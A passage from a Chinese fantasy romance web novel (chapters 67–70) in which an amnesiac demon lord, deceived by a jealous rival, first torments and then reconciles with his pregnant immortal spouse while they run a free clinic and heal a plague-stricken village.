他一出手,沈砚台的身上就出现了一层光圈,上面有着他的气息。 是他五千年的寿命和机遇,在这时候抵挡住了他的攻击,保护着沈砚台。 宋先灵见状,气急攻心,拿沈砚台没办法,他便崩溃的哭闹了起来。 “你要是不是他,那他是谁,你告诉我他是谁!” 沈砚台不忍,但欠了宋先灵的就是欠了,他不打算告诉宋先灵食灵花的名字。 他想让宋先灵恨他,找他报仇。 是他占用了食灵花的活着的机会。 想着被他吞噬的食灵花,沈砚台紧紧闭上了眼睛。 许久等不到他说话,急着知道爱人名字的宋先灵,急切的以膝滚地爬到沈砚台面前,双手跟抓住最后一根稻草似的,紧紧揪住了他的衣裳。 “你若是不是他,那他是谁,我求求你,你告诉我?” 见宋先灵屏息等着他的答案,沈砚台狠心的扯出了衣摆,冲他摇头。 “恕我无可奉告。” 宋先灵看着决绝的沈砚台,哭泣的不能自已,“告诉我,他是谁!求求你,求你了!” 沈砚台看着爬在地上哭的浑身发软的宋先灵,内心愧疚,但他能做的,就只有让宋先灵恨他。 沈砚台走了。 离开前背影顿了一下,最后还是迈出去了步伐。 泪眼模糊中,宋先灵看着沈砚台毫不留情的背影,眼里恨意滋生。 “你走不了。” 沈砚台顿住,回头去看宋先灵。 宋先灵眼里有股子破罐子破摔的狠戾和无力。 “既然你说你不是他,那我也不必对你留情,我原本是想等你活过来我们相爱相守……” “你不是他,那你的记忆留着也没用了!” “他为什么会死你知道吗?” 宋先灵哼笑了一声,眼里的悲伤浓到极致,“我给他下毒,我们鸟族族宝,凤凰喙,一啼失命,二啼失忆。” “族宝寻常只用一啼,就可达到目的,没想到倒是被我遇见了二啼的功效。” 宋先灵看着沈砚台眼里的恨意迸发,“你不告诉我他的名字,还妄想着和月轻盈恩爱,你做梦!” 宋先灵变回原身,一只类似凤凰的鸟现身,高高扬起脖子,啼声清脆。 沈砚台脑袋轰鸣,天旋地转,脑中的记忆像是抽丝剥茧般一丝丝被抽离。 很快,他的记忆空白了一片,整个人呆傻的站在原地。 见着事成,宋先灵恢复人身,看着沈砚台一副任他摆布的样子,又哭又笑了起来。 他走到沈砚台的身边,看向他那双茫然的眼睛,笑得阴险。 “你是沈砚台,魔族魔尊,而我,是鸟族族长的长子宋先灵,你的尊后。” 第67章 第67章 我到底有多爱你 沈砚台眼里空白一片, 只喃喃地跟着宋先灵说的话说:“我是魔尊?你是尊后?” “是。”宋先灵看着他,眼睛里有着执着,“你很爱我, 每天都会送我一束花。” “是吗?” 沈砚台被毒影响, 虽然失忆, 但却不傻,“我是蛟龙,给你送花?花从哪里来?” 宋先灵被问的一愣,眼圈却更红了, 是啊, 那个人跟个傻子似的,每天送他花, 那些花他是从哪里找来的啊。 他抬手拭去眼角的泪,笑着说:“那就是你的事了。” “那……为什么我会失忆?” 宋先灵唇瓣一抿, 笑得意味深长,“其实我刚才的话有漏洞。” “你是魔尊不假, 我是尊后不假, 但是这月华宫里, 你还有一个妾氏。” “妾?”眼前这个人说的话,沈砚台一点印象都没有。 “是, 他和别人偷情,被你发现, 你怜惜他, 所以被骗,被他用刀所伤,那刀上有剧毒,这就是你失忆的前因。” “那这个妾好生歹毒。”沈砚台蹙眉, 还是一点印象都没有。 宋先灵见他犹豫不决的样子,不傻,知道他没有信。 “这样吧,你不如去看看他,他就在前面的住处。” 宋先灵出了门,指着院墙前方的一栋建筑物,“你的妾氏就住在那里。” 沈砚台眺望过去,眼里有着怀疑。 “她是妾?” “自然。” “为何她住的房子比你这个尊后的要大?” 宋先灵眼里闪过恨意,“你很宠爱他,所以冷落我,如果不是他这次做的事,我可能连你的面都见不到。” 沈砚台没有说话,只是眼角余光又撇了一眼那栋大房子。 “魔尊,在这里看多没有意思,你不如亲自会会他。” “他啊,面对你的宠爱可也是高傲的很呢。” 宋先灵不住的在沈砚台面前贬低月轻盈,就是不想他们好过。 沈砚台看着远方的建筑物,不知为何,心里总有一股急切,他想要见某个人。 “好,我去见见。” 沈砚台拔步就要走。 “哎呀,我差点忘了。” 宋先灵担心出什么岔子,坏心思又起,“对了,魔尊,距离你受伤到伤好已经过去有一段时间了,你的妾……他有了别人的孩子,我不知道该怎么处理,便等着你醒来在做定夺。” “孩子?”沈砚台眉头一皱,对他的话信了一半。 他不能有孩子,孩子会分去他的命数。 所以……他的那个妾真的是有了别人,偷袭他,还和别人搞出了杂种。 “我去看看,到底是什么样的人敢在太岁头上动土。” 沈砚台带头,宋先灵等人跟在他的身后,等着看好戏。 月轻盈正坐在椅子上晒太阳,不知道是不是最近孩子在成长,有时,他会感受到胎动。 手贴在肚子上,会有硬邦邦的小凸起踢打他的手心。 每每两相接触,也总有一种酥麻感,让他觉得血缘之情如此的不可思议。 “上辈子我没有给你们取名字,你们的名字是你们父母给你们起的,这辈子由我这个做爹的给你们起好不好。” “可是我对你们名字里的小川小河小宵很喜欢,所以这些字就都还留着好不好?” 脑海中又想起三个稚嫩孩童,顶着稚气小脸,不顾羞怯蹭到他手边,甜腻腻的喊他师尊的场景。 月轻盈伸手擦去眼角的泪水。 就在这时候,小狐狸过来通报,说是魔尊带着宋先灵找来了。 乍听到魔尊和宋先灵的名字排序在一起,月轻盈的心剧烈的跳动了一下。 他分不清这是名为害怕的情绪,愣了一会儿后便让他们进来。 脚步声纷沓而至。 沈砚台刚转过庭院,就见到了穿着素白衣裳,挺着肚子,动作缓慢起身的大美人。 这个人脸很小,眉目传情,肤白玉润,举手投足间有种冰山雪莲的清冷感。 不过,不知道是不是因为他有孕的缘故,他的身子看起来有一些笨重,多了几分可爱。 沈砚台清楚的知道,这个人就是他的妾。 他一步步向他接近,还未走进,便嗅到了从月轻盈身上传来的清香。 沈砚台脚步一顿,很是熟悉。 径直走到月轻盈面前,沈砚台便驻足打量他。 月轻盈抬眼间有些疑惑地看过去。 沈砚台紧盯着他的小表情,细细感受了一下,没有,他对他没有憎恨之意。 宋先灵没有错过沈砚台的一举一动他在此刻上前,挡住月轻盈,对他道:“魔尊,你有何感想?” 沈砚台垂眸看向宋先灵,“嗯,他这副长相,的确像是个妾。” 妾? 月轻盈不解的看向沈砚台和宋先灵,小心地往后退了一步。 见到他的举措,沈砚台出言嘲讽:“怎么,你是在害怕我对你展开报复?” “我听不懂你是什么意思。” “呵,果真很有脾气。”沈砚台盯着月轻盈,眼神灼热。 “但是你偷袭我,和别人勾缠有了孩子的事,我不会放过你。” 月轻盈越发听不懂。 沈砚台一个挥手,就有魔人扣押着月轻盈将他带走了。 一路上,月轻盈都在想,这个假的沈砚台和宋先灵再玩什么把戏。 被关押在火牢里,每日接受烈火炙烤的月轻盈,消耗自己的仙力抵挡。 只是,他肚子里的孩子也要吸取仙力做为养分,为了孩子,他便撤了仙力。 结果就是他的皮肤被灼烧的千疮百孔,剧烈的痛苦让他额前的汗水如雨滴。 他不止一次的问,发生了什么,却没有人回应。 在他快要被渴死烤干的时候,穿着华贵的宋先灵施施然走了过来。 “在人间的火刑没有烧死你,到了修真界你还是要再经历一次,这种感觉如何有没有勾起你的回忆?” “你到底想干什么?”嘴唇干裂出血的月轻盈,双眼无神的看着宋先灵,困惑不解。 “我想你死。”宋先灵语气恶毒。 月轻盈抿唇,“如果你是因为沈砚台,如今我已经和他没有瓜葛了,你们现在不是已经在一起了吗,还要伤害我做什么呢,我可以离开的。” “离开?” “你想的到美。” 宋先灵有些激动,“没错,的确是因为沈砚台我才这么折磨你。” “我爱的人死了,我怎么能容忍你们在我面前恩爱?” “你的爱人?是谁?” 月轻盈回忆,他的印象中,宋先灵也嫁给了沈砚台,原来他还有爱人吗? “呵……我也想知道。” 宋先灵的神情很是落寞,他看着奄奄一息的月轻盈,轻蔑一笑。 “我跟你说这些也没用,你只要知道你会被我玩死就行了。” “走吧。” 宋先灵带着人走了。 月轻盈被吊在刑架上,微微抿住了唇瓣,这里的人都不对劲,他要逃。 他抬眼去看扣住他手腕的玄铁链子,跟个水桶一般那么粗,他苦笑一声放弃了。 他垂眸,看着自己的小腹,眼泪啪嗒啪嗒落了下来:“怎么办,我怎么做才能保护你们?” 自那日将月轻盈关押在火牢里后,沈砚台就立刻用食灵花控制了一些人做他的心腹。 一些人被他派去监视宋先灵,一些人被他派去监视月轻盈。 得知宋先灵来见过月轻盈后,沈砚台也跟过来了。 甫一看见的就是,月轻盈垂泪跟自己肚子说话的场景。 很傻,很呆,但是不讨人厌。 脚步声接踵而至。 月轻盈费力的抬眼,就见沈砚台一步步走了过来,他撇开视线,有不耐烦。 “真是的,刚走了一个又来了一个。” 魔物搬了一张椅子过来,沈砚台顺势坐下。 “你到底是谁?” 问话一出,空气里多了几分紧绷。 月轻盈好笑,冷漠地看回去,“我倒是想问,你是谁?” 沈砚台挑眉,双手环胸,手指一下下点在胳膊上,若有所思。 “宋先灵说的话我不信,别人说的话我也不信,所以在我还有耐心的时候,你最好老实点。” 月轻盈反问他:“宋先灵说我什么?” “说你是我的妾,你肚子里的孩子是和别人搞出来的,你否认吗?” “回答了你,你能放我走吗?” “不可能,我不会放过任何一个我怀疑的人。” 月轻盈仿佛疲惫般道:“那……宋先灵说的是什么便是什么吧。” 沈砚台眯眼。 注意到他舔唇的动作,猜测他是渴极了便让人端了水来,后又让人撤了火刑。 喝了好些水才感觉自己活过来的月轻盈,现在才反应过来这个假的沈砚台怎会对他如此仁慈。 下一秒,就听见他对身侧的魔物道:“把他绑起来,带走。” 月轻盈被迫又换了一个牢房。 这次是个泥土坑,他被按进了泥土中,他的头顶上方有个不断喷吐泥土的法术。 他整个人又沉又往下坠落的感觉尤其不好,令他担心的是,那些泥土挤压到他的肚子了。 “不要,放开我!” 现在孩子就是他活下去的绳索,要是他们没了他是如何都不想再活下去了。 “继续。”沈砚台一声令下,泥土源源不断的往月轻盈身上浇灌。 “咳咳……”月轻盈被泥土糊了一脸,差点遮掩住口鼻,呛的咳嗽不止。 “只要你说真话,我就相信你。”沈砚台不紧不慢,有的是时间跟他耗。 “不但心孩子了吗?” 月轻盈对他怒目而视,终于是松口了,“我是月轻盈,仙界第一仙尊,你的尊后,孩子……也是你的。” “果然。” 沈砚台松了一口气,从宋先灵哪里得到了违和感,终于得到了解释。 虽然他不清楚宋先灵为何要编造谎言骗他,但从月轻盈口中听到的话,却让他愉悦了不少。 “自然是尊后,怎么能给你犯人的待遇。”沈砚台一个挥手,月轻盈得到了自由。 他浑身都是泥浆,狼狈不堪,眼睛却很亮,“你到底是谁?” “我?”沈砚台的眼里多了丝惆怅,“我失忆了,我也不知道。” 月轻盈怔然地看着他,怪不得,沈砚台做了那么多他看不懂的举措。 “你喜欢拜佛吗?” “拜佛?” 一个陌生的词汇,让月轻盈有些反应不过来。 “不远的地方有寺庙去拜拜吗?” 沈砚台发出的邀请月轻盈应邀了,就算他不去,他也会想办法逼迫他去。 月轻盈换了衣服,跟在沈砚台身后来到了人间的寺庙。 看到人间鲜活的百姓,月轻盈就想到了凉国和古国的百姓。 他们要是没死的话,现在应该也出门朝拜了。 “你会拜佛吗?” 月轻盈无言的看着他。 “要诚心。” 当着月轻盈的面,沈砚台走到了一座大佛面前,虔诚下跪,开始祈祷。 “请佛祖保佑我的妻子,我未出世的孩子平安健康。” 月轻盈被这样柔光罩拢的沈砚台震惊的不知如何反应。 沈砚台拜了三拜后起身,对用探究的眼神看他的月轻盈笑了笑。 “很神奇吧,失忆的人竟然记得拜佛,还记得许愿,就是我刚才说的那句话。” “我第一次跪在蒲团前许愿的时候,说的就是这句话,这句话居然要在你的身上验证了。” 月轻盈还是愣愣的样子。 沈砚台逼近他,“孩子是我的对吧?” 月轻盈立刻抬手捂住肚子,妄想藏起来,沈砚台看穿后又再度逼近。 “我很好奇,你是用了什么法子让我同意你留下孩子的?” 月轻盈怔然,猛地抬眼去看他。 沈砚台说:“你可知道,让你怀我的孩子,等于我同意他会分去我的命数?” 月轻盈呐呐无言,他不知道,沈砚台……是在知道他有了孩子后会分去他命数的情况下,还执意要和他有孩子吗? “什么啊,看你这个样子你是一无所知啊。”沈砚台神伸手摩挲下巴,觉得他失忆前肯定发生了不少事。 “我……我不知情……”月轻盈有些无措,但他很快反应过来,伸手抱住肚子。 “你是要杀了他们吗?” “他们?还不止一个?”沈砚台愣住了。 他若有所思的看着月轻盈,调侃道:“我到底是有多爱你,才会愿意让你怀多个孩子?” 月轻盈没和他纠缠,后退了一步,转移话题道:“既然你知道宋先灵骗你了,你打算怎么做?” 第68章 第68章 倒茶水喂给沈砚台喝 “打算怎么做?” 沈砚台盯着他, 忽然向后退了两步,抱臂环胸,眼里都是冷漠。 “你好像误会了, 我失忆了, 现在对你和宋先灵两个人都没有情, 但我想搞清楚我和你们发生了什么。” 月轻盈抿唇不语,只用手牢牢护住腹部。 沈砚台撇开眼,“我不会杀了你们,之后你们的一举一动由我来判断, 你们是生还是死。” 这话说的很是无情。 这让月轻盈想起了第一次遇见沈砚台的时候, 沉痛的记忆再次唤醒。 他看着沈砚台讥讽道:“你放心,孩子生下来之前我不会对你不利。” “担心我杀了孩子?”沈砚台挑眉, 眼里有些欣赏:“你想的没错。” 月轻盈不再搭理他。 两人之间像是有冷空气流窜。 沈砚台看他冰冷的样子,有些拿不准了, 照他以往的脾气,谁在他面前摆谱, 他反手就是一记烟消云散。 但在月轻盈这里行不通。 他悠长的叹口气, “现在宋先灵不在我身边, 到时让你抢了一个捷径,这之后的日子还请多多担待了。” 月轻盈一怔, 这话什么意思。 沈砚台还要和自己待在一起? “你要做什么?” 沈砚台看了眼修真界,哼唧了半晌, “现在五行三界这么平静, 便带你去到处走走。” 顺便他也好理清,月轻盈凭什么能怀他的孩子。 “去哪里。” 月轻盈刚问完,沈砚台就携上他一溜烟跑没影子了。 等两人脚落地,四周打量一番, 才发现受来到了凡间。 看着不远处城门口行走穿梭的百姓,月轻盈呼吸一沉,想到了古国和凉国惨死的百姓。 他脸色一白,仇恨的眼神怒瞪着沈砚台,语气有些颤抖:“你是个有修为的,为什么要来凡间,还想再次折磨这些凡人吗?” 沈砚台古怪的看了他一眼,很快明悟过来,“看你发了这么大的火,我以前下界过还杀死了很多的凡人?” 月轻盈咬牙不语,但眼里浓稠的怨恨被沈砚台尽收眼底。 “像是我会干的事。”他笑眯眯地,“警告你一句,我可是魔,别幻想我会发善心做好事。” 闻言,月轻盈手紧握成拳头,语气阴沉:“沈砚台你若是再敢屠戮百姓,我一定会杀了你!” “那你倒是来杀杀看。”沈砚台丝毫不放在心上。 他伸手指着不远处的城门,“就算要杀了这些百姓,也得先进了城再说?” “你!”月轻盈忍无可忍,拍掌冲向沈砚台。 察觉身后袭来的劲风,沈砚台身影一错,利落出手扣住月轻盈的手腕,力气之大,叫他无法再出手。 “这么凶?” 沈砚台控制住月轻盈,缓缓回身,见他表情凶恶,眨眨眼,上下打量他几眼,笑得不怀好意。 “你是男身,怀着孩子,在普通人看来很是不妥吧,毕竟是我的孩子我也得担些责任,从现在起你便唤我夫君,我唤你夫人……” 月轻盈无法反抗。 沈砚台在他身上掐诀。 月轻盈只觉得魔气包裹着自身,片刻后,他束起的长发挽了发。 穿着的白袍,成了漂移的白裙,他坚毅的眉眼柔软了几度。 他被沈砚台变成了女子。 奇耻大辱! 沈砚台抱着肚子哈哈大笑。 月轻盈气恼,手脚可以动了之后立刻踹出狠戾一脚。 沈砚台猝不及防被蹬的向前快走了几步,听着身后月轻盈的怒骂,他笑的恶劣。 一边朝着城门的方向奔去,一边对着人群大喊,“哎呀,夫人莫要恼,夫君这就想法子去给你找你喜欢吃的糖葫芦。” 月轻盈拿他没有办法,气的要窒息,他正欲使出杀招,忽然,腹部一个踢动,让他的仙气断了。 他有些傻呆呆看着隆起的腹部,颤抖着手缓缓碰触,又是一个小小的踢动,他心间涌起一股感动。 是他和三个徒弟间的血脉联系。 就在他不住向上天祈求三个孩子平安健康的时候,一个提着竹篮的妇人走了过来。 “哎呦,姑娘,你这是显怀了啊,看你这样子该是胎动了。” “走走走,你现在有了身子可不能劳累,你家住哪儿啊,快回去歇歇。” “胎动?”月轻盈茫然抬头,就被一面容和善的圆脸大姐给带走了。 “哎呀,姑娘,你长的真好看呐!” 月轻盈唇瓣嗫嚅,没有做解释。 彼时,沈砚台已经混进了城内,见久等不来月轻盈的身影正要寻,就见月轻盈被人给拉来了。 他笑。 “不想进来还不是来了?” 他一边开口嘲笑,一边上前去迎,从好心大姐的手中握住月轻盈的手,好言相谢。 那大姐说了蛮多小两口好好过日子的卷,便先离开了。 “你答应我!” 月轻盈知道此事没有回头路,沈砚台做下决定不会更改,只能退让。 他顺着两人牵手的姿势,狠狠握紧了沈砚台的手,满脸局促紧张。 “你答应我,不在杀生。” 沈砚台手被捏的有点痛,知道此事对月轻盈的重要,没给承诺,只含糊道:“看我心情。” 月轻盈气的又要动手,沈砚台拦住:“别生气,小心动了胎气。” 沈砚台拉着不肯走的月轻盈,到了一处药铺子前,大手一挥,“看,这里以后就是我们的住处。” 月轻盈警觉:“你是不是用法术控制了凡人,抢了人家的铺子?” 沈砚台一噎,见月轻盈嫉恶如仇的样子,思索自己以前是不是做了很多坏事,才让他如惊弓之鸟。 “有没有一种可能,这间铺子我是让人买下来的?” 他拿出一张地契,给月轻盈看,月轻盈不信,将地契丢还给他。 “你为何要买药铺,你是不是打算毒死这些百姓。” 沈砚台看了他几秒,决定不说话了,拽着月轻盈进了铺子。 “我在药铺里忙的时候,你便可以去周边逛逛看看,也可以认识一些妇人做小姐妹打打牌。” 月轻盈瞪着他。 沈砚台仿佛听见了他磨牙的声音,继续逗他:“你好歹也是仙尊,你这么好看的样貌若是在路上遇上地痞流氓,动动手指就解决的事,应该不需要我去救,对吧?” “你少把人想的这么坏。”月轻盈反唇相讥。 “对,你说的都对。”沈砚台走向他,指尖一转,一枚白色的食灵花发簪放在月轻盈的发间。 “你去玩吧,有事我会来救你。” “玩什么玩,我要盯着你。” 月轻盈伸手想将簪子拔下,却扯痛了自己的头皮,他眉眼一横,就知道沈砚台又动了手脚。 “你愿意陪着我,我自然是开心的。” 沈砚台没去管不信任他的月轻盈,召唤了两个魔物做小斯,药铺开张了。 月轻盈坐在椅子上,看沈砚台变成寻常大夫,神情认真的给人看诊抓药。 每到这时候,他就要走过去看看这些药里有没有玄机。 他的表情每次都很古怪。 沈砚台知道他怀疑他在药里下毒,每每放任他,看他怀疑不可置信的表情也是他的乐趣。 结束了一天的看诊,小斯关门打烊。 沈砚台起身伸展手臂,活络筋骨,在椅子上坐了一天,看了一天的月轻盈看着他,面色不善。 “你怎么这么好心,居然没有从这些百姓身上收钱?” 沈砚台伸懒腰的动作一顿,缓缓放下手,看向月轻盈,冲他笑了笑。 “你——管——我——?” 月轻盈气的青筋跳动,手掌用力,被他握着的椅子扶手瞬间粉碎。 沈砚台看过去,轻声提醒:“家里现在开的药铺都不收钱的啊,椅子坏了可没有钱买。” 月轻盈动作一顿。 为了让更多的百姓可以没有压力治病,他悻悻然地放下了手,乖乖巧巧地将扶手给恢复好。 沈砚台见状,扭头憋笑。 戏弄月轻盈,真是令他身心愉悦。 药铺每日这么开着。 月轻盈每日都盯着沈砚台开的药方,药草会不会相冲产生毒性。 许是药铺不收钱治病的名声传出去了,药铺开始变得忙碌起来。 月轻盈一开始是不想管的。 但在看到沈砚台累的流汗,也脾气很好的对百姓们问及毕答,有些动容。 再看看那些顶着烈日排队的百姓,他一点点挪到沈砚台的身边,想说帮忙,却怎么也开不了口。 想当初以为他要害人,现在亲眼见证他是在助人,多少有点让他觉得匪夷所思。 当初信誓旦旦说他杀人就把他杀了的话,现在被打脸,他总觉得丢人。 沈砚台早察觉到一旁的动静了,伸手抹去鬓角的汗,叹气道。 “不是来给我倒茶水喝的,就来帮忙。” 月轻盈唔了一声,转身先是倒了茶水喂给沈砚台喝。 之后另起一张桌子开始给病人看病。 看着对面月轻盈支起来的看诊小桌子,沈砚台无语,伸手将月轻盈故意灌进他嘴里,导致他来不及吞咽流到唇边的茶水擦了擦。 “真记仇。” 夫夫两忙了一上午,差点累瘫,小斯过来伺候两人吃饭。 沈砚台夹着菜,冷不丁道:“有没有治记仇的药方?” 月轻盈顿了一下,喝茶净口,眼皮都不撩一下,“有的。” 第69章 第69章 有一瞬间,他被迷惑了 沈砚台洗耳恭听。 月轻盈放下碗筷, 不紧不慢:“把记仇那个人记仇的物件或是人给杀掉,药到病除。” 沈砚台:“……” 吃完饭后,沈砚台看了一下现场, 看病的人不多, 便交代了小斯一声。 自己不知道从哪里变出来一个竹篮往背上一背, 就往外面走。 月轻盈以防他做坏事,连忙起身跟了上去,“你要去哪?” 沈砚台回身,无奈的看他, “祖宗, 家里治病不赚钱,买药的钱就没有, 那治病的药从哪里来,不得自己去山上采啊?” “采……药?” 月轻盈狐疑地看着他, “你有修为,何必这么大费周章?” “我现在扮演的是一个凡人, 跟你说了你也不懂。” 月轻盈火冒三丈, “我才搞不懂, 你一个魔头,口口声声念叨着不发善心, 现在你是在做什么!” 沈砚台没跟他吵,只是上前一步, 距离他近些, 表情认真。 “我也不清楚,我失忆清醒后,脑子里剩下的就是做善事!” 他伸手指着自己的心脏,“不知为何, 这里总是痛,只有做善事和拜佛才能让我静心!” 月轻盈怔然地看着他。 沈砚台嘲讽一笑:“现在你知道了?不要再纠缠我了。” 他抽身离去。 月轻盈看着他的背影,忽然想到在人间月下,浑身是伤不住祈求自己原谅和发誓会悔改的沈砚台,整个人如泡在大海里,浮浮沉沉。 “他真的在改变?” 他有些动容,片刻后,眼神坚定:“不可能,他不会改变的!” 说着,他眼眸一利,飞身去追沈砚台。 一座山脚下,沈砚台带着斗笠,背着竹篮,正仰头吃力的张望。 山峰被云层遮掩,周边山座连绵起伏,这座山很庞大。 内里的植被苍翠蓬勃,这座山很有灵性,想来里面的药材也该是不少。 沈砚台徒步进山。 刚弯腰从脚边采了几株治以祛火止泻的草药,就听见身后传来一道脚步声。 他连忙戒备起来,下一秒,隐隐地从飘来的空气中嗅到熟悉的清冷香,他转身回望。 月轻盈正一脚深浅的坠在他的身后,毫不掩藏自己的行踪。 明白告知沈砚台,他在跟踪他。 沈砚台有些恼火,更多的是惊讶,平常有人几次三番调挑衅,他早动手了。 但面对月轻盈的时候,他只想……对他做些亲密的事情。 他眼眸落在月轻盈淡粉色的唇瓣上,心有些痒痒,他还没亲上去,就知道他很甜。 “你……算了,你跟我一起采药吧。” 彼时,月轻盈戒备地后退了一步,“你突然如此让步,我不得不怀疑你是想把我杀了。” 沈砚台拳头都硬了,挥拳揍的却是自己。 “你不是担心我采药作假,会陷害那些凡人吗,你不盯着?” 想了想自己,又想了想那些百姓,月轻盈低头看了眼自己的肚子,神情决然,上前一步,和沈砚台并肩。 沈砚台看了他一眼,眼眸在他雪白的耳垂上也扫了一眼。 真好看,跟白玉一样。 两人一路上就这么默不作声的采药。 月轻盈因为腹部圆润,蹲下身采药总会顶到肚子,怕伤害孩子,便做起了辅助。 通常是他寻找,指挥沈砚台去采,发现一些死人都可以救活的药材,两人也会欣喜发笑。 不知不觉,两人来到一处山崖边。 看了看险峻的山势,两人不谋而合,就要回去,不曾想,确实听见山对面传来交谈声。 “好大一头野鹿,将其狩来,够吃好几顿了,拿到镇上去买,也能赚不少。” “带东西了吗?” 一阵翻找东西的声音。 月轻盈和沈砚台停步,甩袖挥开眼前遮掩视线的云雾。 原是对面山头,有两名农户,山崖边停驻着一头野鹿。 野鹿也知自己大难临头,慌不择路竟是不小心摔下了崖底。 “糟了!” “糟了!” 月轻盈和农户齐齐呼出声。 农户两人商讨法子,打算下崖底去寻。 沈砚台找准这个机会,眼神高深莫测地看向月轻盈。 不知为何,总觉得他的眼神里充满了嘲笑,月轻盈脸上一红。 百千丈的崖底,两农户根本无法抵达,山势陡峭,体力不支一个松手,就会命丧崖底。 月轻盈想劝他们离开,又怕自己突兀出声吓到他们,便拧眉一直观望。 不出片刻,其中一农户脚下踩着的石头裂开下坠,农户没防备,吓得松了手。 惨叫声一直延续,直到没了声响。 另一个农户见状,惨叫着手脚并用,吓得爬回了崖边,捎上东西头也不回的跑了。 沈砚台上前,往崖底张望,语气凉薄,“那农户和野鹿该是都死绝了吧?” 月轻盈不语,眉宇间都是纠结,他想去救,只是他怀有身孕,输送救援的仙气一断,农户和野鹿还是一死。 他看向沈砚台,想到他方才说的话,冷了脸,想了想自己还有丹药,还是打算自己去救。 这时候,沈砚台又拦住了他。 “干什么?” “救人。” “好啊,那我便跟去看看仙尊如何施救。” 月轻盈磨牙 都这个时候了,沈砚台还是这么惹人厌。 然而,到了崖底,找到了苟延残喘的野鹿,和一息尚存的农户时,沈砚台却是出手 将月轻盈定在原地,他自己则是上前救人。 见沈砚台划破自己的指腹,滴下血液喂食给野鹿和农户,月轻盈张唇呐呐无言。 眼神却是悄然无声地打量起沈砚台,他真的如他所说那般,多做好事,但求心安? 有一瞬间,他被迷惑了。 脑海里的血海深仇,无辜惨死的百十万百姓的命,让月轻盈又恢复理智。 不够。 沈砚台现在所做的,根本不够偿还死去的那些人的命! 救活了野鹿和农户后,沈砚台便带着月轻盈在不远处踩着云端观望。 见野鹿惊逃,农户转身回家,这才悠然转身,打道回府。 彼时,来寻医问诊的药铺里又堆积起了人。 月轻盈很不解,“这个小镇并不大,为何每日这么多人上门?” 第70章 第70章 你们猜猜我媳妇怀了几个崽…… “干什么?想跟我聊天?”沈砚台突然撩起眼皮, 不正经道。 月轻盈差点吐血。 他一本正经的说辞,被他说成了自己是在勾搭他。 气到不想跟他说话。 月轻盈喝完茶,啪叽, 将茶杯捏成齑粉, 还顺势扭头看了沈砚台一眼。 好似再告诉他, 他再嘴贱杯子就是他的下场。 沈砚台哈哈大笑,坐在看诊桌子上,像是软了骨头,手撑着脑袋, 漫不经心。 “想知道就主动多和患者聊聊。” 沈砚台的思路是, 他们治病不要钱名声传出去了,一传十, 十传百,四周村镇的人都来求医, 所以人多。 还有一种,便是天灾人祸。 之后的日子里, 再看诊时, 沈砚台都会在百姓们的穿衣, 说话口音才进行猜测。 看诊时间长的情况下,他便会和百姓们唠嗑两句。 很快, 他就了解到,距离这里几百米地的一个村庄, 秋季发大水, 不少百姓受灾。 大水猖獗,百姓房屋坍塌,人和家畜被大水冲走的都有。 退水后,村庄一片狼藉, 朝廷拨下的赈灾款被官员贪污。 救助不及时,当时被卷入大水中死去的人和家畜的尸体没有及时找回焚烧销毁,村庄开始传染起疫病。 据一些见势不对逃出来的百姓的说辞来看,那个村庄已经被朝廷放弃。 还有一口气的就来寻医,气喘的少的就在等死。 闻言,沈砚台皱起了眉头,他生起气来面貌就显得凶狠。 他对面的百姓忽然就被吓地瑟瑟发抖起来。 沈砚台反应过来,赶紧解释安抚,跟着骂了几句贪污官员该死,便勤恳看诊。 不远处的月轻盈也听到了,心情复杂,更多的是愤怒怜悯。 只不过他生气的时候,只是冷着一张脸,比对面的好看多了。 且他的医术不比沈砚台差。 看诊着看诊着,沈砚台面前没了人,月轻盈那张看诊小桌子前倒是排起了队。 沈砚台气笑了,走到月轻盈身边,把他赶走,一边对患者们怒目而视一边在椅子上坐下。 “你们想累死我妻子?她肚子里可还有我好几个崽呢!” 不收医药费的大夫,自然是收追捧的。 等着拿药,换药,喝药的百姓们一听,大夫这是在炫耀自己当爹了,还是好几个孩子的爹,立刻附和。 “哎呦,小沈大夫要当爹啦,年纪轻轻的真是年少有为啊?” 月轻盈毕竟是孕夫,看诊需要长时间坐着,坐久了也累,沈砚台把他赶起来他是松了一口气的。 但是…… 这年少有为是这么用的? 他瞪着沈砚台,希望他少言多做事。 沈砚台笑得谦逊:“不才不才,你们猜猜我媳妇怀了几个崽?” 一大群病患震惊:“几个?什么!” 沈砚台满意他们的反应,声音都洪亮了,“三个!” “哎呦,三胞胎啊!” “可喜可贺,可喜可贺啊!” “小沈大夫厉害啊!” “小沈大夫家的生完孩子记得请我们吃酒啊!” 沈砚台摆手:“好说好说,到时候定来送请帖!” 月轻盈听着脸都黑了。 差点冲动,呸沈砚台这个不要脸的一脸。 许是察觉到月轻盈炽烈的视线,沈砚台转头对他眯眼笑得欢。 月轻盈更气了! 听着他左一句右一句的崽崽崽,月轻盈几次想纠正。 后来想到他是蛟龙,说崽没说蛋就已经很不错了,愣是给自己安慰的没了脾气。 给病人看诊完,月轻盈坐在椅子上,喝着茶水吃点心,嘲讽沈砚台。 “继续吹啊,说的就跟你很喜欢这三个孩子一样。” 沈砚台一愣,目光落在他的腹部,神情怪异。 要说是那喜欢谈不上。 但是挺着的大肚子就在眼皮子底下晃,亲眼见证他们每日都在变大,不自觉的就上心了。 开始期待他们呱呱落地,洪亮的哭声了。 沈砚台不语,对月轻盈笑笑,“总归是我的血脉,不喜欢,血脉在这里,也会照拂一二。” 本来满口香甜软糯的点心,忽然就变得干柴难以下咽了。 月轻盈丢掉了点心,喝茶净口,起身回后堂休息了。 沈砚台看着他的背影,眉头拧了起来,心脏堵塞让人气闷。 月轻盈睡醒时,已是晚上了。 吃饭的时候没有见到沈砚台的身影,便问了小斯。 小斯是魔物,尊后发问,必然恭恭敬敬地回答了。 “魔尊大人许是去今日白天那些患者说的那个村庄了。” 月轻盈挑眉,饭也不吃了,立刻寻着踪迹找了过去。 这次他倒是学聪明了。 给自己捂的严严实实的,远远跟在沈砚台的身后。 陷进水灾的村庄,一脚才进去,水都能漫过脚面,房屋倾倒后被水泡过有股腐朽发霉的味道,空气中都是泥土的腥味。 诚如那些病患所言,村庄早已不复存在,倒像是个废墟地。 不远处就能看到家畜的尸体躺在那里,上面爬满了蛆虫,并散发着真真恶臭。 月轻盈孕吐刚停歇,这时候一个反胃就开始作呕。 他死死捂住嘴怕惊扰了沈砚台。 下一秒,他就见沈砚台起势,将村庄周边的死物死尸召集起来。 随即,像先前那般,割破自己的手指,滴下血液喂给他们喝。 见他们开始有意识,便施法给他们祛病气,顺手将周边的疫病给清理了。 月轻盈沉默。 